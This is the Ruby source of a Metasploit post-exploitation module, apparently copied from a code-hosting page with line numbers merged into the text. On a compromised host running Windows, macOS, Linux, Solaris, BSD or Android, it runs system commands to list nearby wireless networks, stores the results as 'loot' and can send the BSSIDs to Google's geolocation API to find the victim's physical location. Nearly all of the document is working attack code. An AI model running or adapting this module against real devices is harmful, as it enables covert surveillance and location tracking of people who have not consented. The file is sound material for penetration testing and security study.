Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/wlan_geolocate.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67def initialize(info = {})8super(9update_info(10info,11'Name' => 'Multiplatform WLAN Enumeration and Geolocation',12'Description' => %q{13Enumerate wireless networks visible to the target device.14Optionally geolocate the target by gathering local wireless networks and15performing a lookup against Google APIs.16},17'License' => MSF_LICENSE,18'Author' => [ 'Tom Sellers <tom[at]fadedcode.net>'],19'Platform' => %w[android osx win linux bsd solaris],20'SessionTypes' => [ 'meterpreter', 'shell' ],21'Compat' => {22'Meterpreter' => {23'Commands' => %w[24android_*25]26}27}28)29)3031register_options(32[33OptBool.new('GEOLOCATE', [ false, 'Use Google APIs to geolocate Linux, Windows, and OS X targets.', false]),34OptString.new('APIKEY', [ false, 'Key for Google APIs if error is received without one.', '']),35]36)37end3839def get_strength(quality)40# Convert the signal quality to signal strength (dbm) to be sent to41# Google. Docs indicate this should subtract 100 instead of the 95 I42# am using here, but in practice 95 seems to be closer.43signal_str = quality.to_i / 244signal_str = (signal_str - 95).round45return signal_str46end4748def parse_wireless_win(listing)49wlan_list = []50raw_networks = listing.split("\r\n\r\n")5152raw_networks.each do |network|53details = network.match(/^SSID \d+ : ([^\r\n]*).*?BSSID 1\s+: (\h{2}:\h{2}:\h{2}:\h{2}:\h{2}:\h{2}).*?Signal\s+: (\d{1,3})%/m)54if !details.nil?55strength = get_strength(details[3])56wlan_list << [ details[2], details[1], strength ]57end58end5960return wlan_list61end6263def parse_wireless_linux(listing)64wlan_list = []65raw_networks = listing.split('Cell ')6667raw_networks.each do |network|68details = network.match(/^\d{1,4} - Address: (\h{2}:\h{2}:\h{2}:\h{2}:\h{2}:\h{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m)69if !details.nil?70wlan_list << [ details[1], details[3], details[2] ]71end72end7374return wlan_list75end7677def parse_wireless_osx(listing)78wlan_list = []79raw_networks = listing.split("\n")8081raw_networks.each do |network|82network = network.strip83details = network.match(/^(.*(?!\h\h:))\s*(\h{2}:\h{2}:\h{2}:\h{2}:\h{2}:\h{2})\s*([\d-]{1,3})/)84if !details.nil?85wlan_list << [ details[2], details[1], details[3] ]86end87end8889return wlan_list90end9192def perform_geolocation(wlan_list)93if wlan_list.blank?94print_error('Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.')95return96elsif datastore['APIKEY'].empty?97print_error('Google API key is required.')98return99end100g = Rex::Google::Geolocation.new101g.set_api_key(datastore['APIKEY'])102wlan_list.each do |wlan|103g.add_wlan(wlan[0], wlan[2]) # bssid, signalstrength104end105106begin107g.fetch!108rescue RuntimeError => e109print_error("Error: #{e}")110else111print_status(g.to_s)112print_status("Google Maps URL: #{g.google_maps_url}")113end114end115116# Run Method for when run command is issued117def run118case session.platform119when 'windows'120listing = cmd_exec('netsh wlan show networks mode=bssid')121if listing.nil?122print_error('Unable to generate wireless listing.')123return nil124else125store_loot('host.windows.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')126# The wireless output does not lend itself to displaying on screen for this platform.127print_good('Wireless list saved to loot.')128if datastore['GEOLOCATE']129wlan_list = parse_wireless_win(listing)130perform_geolocation(wlan_list)131return132end133end134135when 'osx'136listing = cmd_exec('/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s')137if listing.nil?138print_error('Unable to generate wireless listing.')139return nil140else141store_loot('host.osx.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')142print_good("Target's wireless networks:\n\n#{listing}\n")143if datastore['GEOLOCATE']144wlan_list = parse_wireless_osx(listing)145perform_geolocation(wlan_list)146return147end148end149150when 'linux'151listing = cmd_exec('iwlist scanning')152if listing.nil?153print_error('Unable to generate wireless listing.')154return nil155else156store_loot('host.linux.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')157# The wireless output does not lend itself to displaying on screen for this platform.158print_good('Wireless list saved to loot.')159if datastore['GEOLOCATE']160wlan_list = parse_wireless_linux(listing)161perform_geolocation(wlan_list)162return163end164end165166when 'solaris'167listing = cmd_exec('dladm scan-wifi')168if listing.blank?169print_error('Unable to generate wireless listing.')170return nil171else172store_loot('host.solaris.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')173print_good("Target's wireless networks:\n\n#{listing}\n")174print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']175return176end177178when 'bsd'179interface = cmd_exec("dmesg | grep -i wlan | cut -d ':' -f1 | uniq")180# Printing interface as this platform requires the interface to be specified181# it might not be detected correctly.182print_status("Found wireless interface: #{interface}")183listing = cmd_exec("ifconfig #{interface} scan")184if listing.blank?185print_error('Unable to generate wireless listing.')186return nil187else188store_loot('host.bsd.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')189print_good("Target's wireless networks:\n\n#{listing}\n")190print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']191return192end193when 'android'194log = client.android.wlan_geolocate195listing = ''196wlan_list = []197log.each do |x|198mac = x['bssid']199ssid = x['ssid']200ss = x['level'].to_s201listing += "BSSID: #{mac}\n"202listing += "SSID: #{ssid}\n"203listing += "Strength: #{ss}\n\n"204wlan_list << [mac, ssid, ss]205end206if listing.blank?207print_error('Unable to generate wireless listing.')208return nil209end210store_loot('host.android.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')211print_good("Target's wireless networks:\n\n#{listing}\n")212if datastore['GEOLOCATE']213perform_geolocation(wlan_list)214return215end216else217print_error("The target's platform, #{session.platform}, is not supported at this time.")218return nil219end220rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError221rescue ::Exception => e222print_status("The following Error was encountered: #{e.class} #{e}")223end224225end226227228